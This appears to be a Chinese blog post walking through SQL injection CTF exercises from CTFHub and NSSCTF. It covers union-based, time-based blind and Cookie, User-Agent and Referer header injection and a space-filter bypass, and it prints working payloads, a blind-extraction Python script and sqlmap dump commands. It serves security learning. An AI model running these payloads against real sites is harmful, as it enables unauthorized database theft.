当前位置:   article > 正文

SQL注入的相关例题(ctfhub)_sql注入练习

sql注入练习

目录

一、字符型注入:

例题

二、时间盲注 

判断是否存在时间盲注:

例题

方法一 (bp爆破)

2.获取数据库名

方法二 (python脚本

方法三(使用sqlmap) 

三、mysql数据库 (与数字型注入差不多)

相关知识点

例题

 四、Cookie注入

HTTP注入(一般都是使用bp爆破):

例题

五、UA注入 

知识点

例题

六、Refer注入

七、过滤空格

NSSCTF中的题

一、字符型注入:

例题

1.用order by 来判断列数,1,2都有回显,3没有回显,所以有两列 

2.用-1' union select 1,2 #来判断显错位 

3.用-1' union select 1,database() #来爆数据库名

4.用?id=-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+ 来爆表名

5.用?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+来爆列名

 6.用?id=-1' union select 1,group_concat(flag) from sqli.flag--+来爆数据

可以用?id=-1' union select 1,group_concat(schema_name) from information_schema.schemata--+来爆这个题的所有库

二、时间盲注 

#时间盲注基本思路类似于布尔盲注不同的是布尔盲注是通过回显的对错提示来判断是否成功,而时间盲注是通过手动控制页面返回时间来判断是否成功

判断是否存在时间盲注:

确定注入点以后,需要判断网页是否存在时间盲注,同时满足以下两种情况时,可以确定存在时间盲注:?id=1' and if(1, sleep(5), 3) -- a    延时5秒响应
           ?id=1' and if(0,sleep(5),3) -- a    正常响应

判断闭合方式:

?id=1 and sleep(2)--+
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+
?id=1') and sleep(2)--+
?id=1") and sleep(2)--+
...

例题

方法一 (bp爆破)

可参考:SQL注入:布尔盲注和时间盲注——CTFHUB 使用Burpsuite进行半自动注入_ctfhub布尔注入-CSDN博客

1.判断数据库名称长度 

1 and if(length(database())=4,sleep(5),1)-----页面5s多才响应证明当前数据库名称长度为4

2.获取数据库名

1 and if(substring(database(),1,1)='q',sleep(5),1)

我们在columns里面勾选Response received和Response completed这两个选项

这个时候在进行筛选,看到响应时间最大的四个就是执行成功的。 

3.获取表名

1 and if(substring((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='q',sleep(5),1)
步骤和上述一样使用burpsuite,我这里直接给出结果,第一个表为news

得到第二个表 1 and if(substring((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1,1)='q',sleep(5),1)
4.获取字段名

1 and if(substring((select column_name from information_schema.columns where table_name='flag'),1,1)='q',sleep(5),1)

5.获取flag

1 and if(substring((select flag from sqli.flag),1,1)='q',sleep(5),1),步骤和上面的一样,但是注意爆破中payload1的长度要大至少40,,payload2的字典不仅有26个字母还有10个数字加上’{’’}'这两个字符。

方法二 (python脚本

# 爆flag
def get_flag(name_of_table, name_of_column):
    i = 1
    while True:
        for j in flag_range:
            whole_url = url + '?id=1 and if(ascii(substr((select {} from {}),{},1))={},sleep(0.5),1)'.format(name_of_column,name_of_table, i, j)
            t1 = clock()
            rs.get(whole_url)
            t = clock() - t1
            if t > 0.5:
                print(chr(j), end="")
                if chr(j) == '}':
                    print()
                    return 1
                break
        i = i + 1

参考:CTFHub_技能树_Web之SQL注入——时间盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub时间盲注-CSDN博客

方法三(使用sqlmap) 

# -D 指定库,-T指定表,-C 指定列(字段)

1.获取当前数据库

sqlmap -u 'http://xx/?id=1' --current-db

2.获取数据库中的表

sqlmap -u 'http://xx/?id=1' -D 'sqli' --tables

3.获取数据库的字段名(列名)

sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' --columns

4.获取其中数据

sqlmap -u '?id=1' -D 'sqli' -T 'flag' -C 'flag' --dump

(这里只演示了最后一步)

三、mysql数据库 (与数字型注入差不多)

相关知识点

  1. 需要了解mysql的知识点:
  2. union select 联合查询,联合注入常用
  3. database() 回显当前连接的数据库
  4. version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
  5. group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
  6. information_schema 存了很多mysql信息的数据库
  7. information_schema.schemata information_schema库的一个表,名为schemata
  8. schema_name schemata表中存储mysql所有数据库名字的字段
  9. information_schema.tables 存了mysql所有的表
  10. table_schema tables表中存每个表对应的数据库名的字段
  11. table_name 表的名字和table_schema一一对应
  12. information_schema.columns columns表存了所有的列的信息4
  13. column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
  14. table_name 表的名字和column_name一一对应
  15. select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
  16. right(str, num) 字符串从右开始截取num个字符
  17. left(str,num) 同理:字符串从左开始截取num个字符
  18. substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
  19. 和一些基本sql语法
  20. 和一些基本注释:
  21. #,–空格,/* */

例题

1.判断注入点 

2.判断显错位

 3.判断当前数据库

4. 判断表名

5.判断字段名

 6.判断数据

 四、Cookie注入

HTTP注入(一般都是使用bp爆破):

1.Cookie注入

2.UA注入

3.Refer注入

Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。Cookie是存储在客户端浏览器中的小型文本文件,用于在服务器和客户端之间传递数据。应用程序常常使用Cookie来存储用户身份验证信息、会话标识符等敏感信息。

Cookie注入的原理:1.ASP脚本中的request对象,被用于从用户那里获取信息。当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,可能存在Cookie注入 
2.Cookie注入的原理是攻击者通过修改或伪造Cookie中的值,将恶意的SQL代码注入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。

例题

1.判断是字符型还是数字型(1 and 1=1--+和1 and 1=2--+),判断出是数字型

2.判断列数 

3.判断显错位

4.爆当前数据库

5.爆库名 

6.爆表名

7.爆数据

五、UA注入 

知识点

1.UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
2.UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。

例题

1.判断是哪种注入,发现是数字型注入,且也可以使用联合注入的方法 

2.判断有几列

3.判断显错位 

4.判断当前数据库

5.判断表名

6.爆列名 

7.爆数据

六、Refer注入

1.判断是哪种注入,发现输入1有回显,并且可以使用联合注入

2.判断有多少列

3.判断显错位

4.爆当前数据库

4.爆库名

5.爆列名

6.爆数据

总结:Cookie注入,UA注入,Refer注入都相当于与联合注入结合,方法一样,只是改动的是HTTP请求头中的Cookie,UA,Refer部分

七、过滤空格

1.输入1有反应为数字型注入,发现过滤了空格

SQL注入中常见的绕过可以参考:

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

2.判断列数

3.判断显错位

4.判断当前库名

5.爆表名

6.爆列名

7.爆数据

NSSCTF中的题

[SWPUCTF 2021 新生赛]easy_sql

1.判断出是单引号闭合,且是报错注入

2.判断列数

3.判断显错位

4.判断当前库名

5.判断表名

6.判断列名

7.得到数据

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/564232
推荐阅读
相关标签
  

闽ICP备14008679号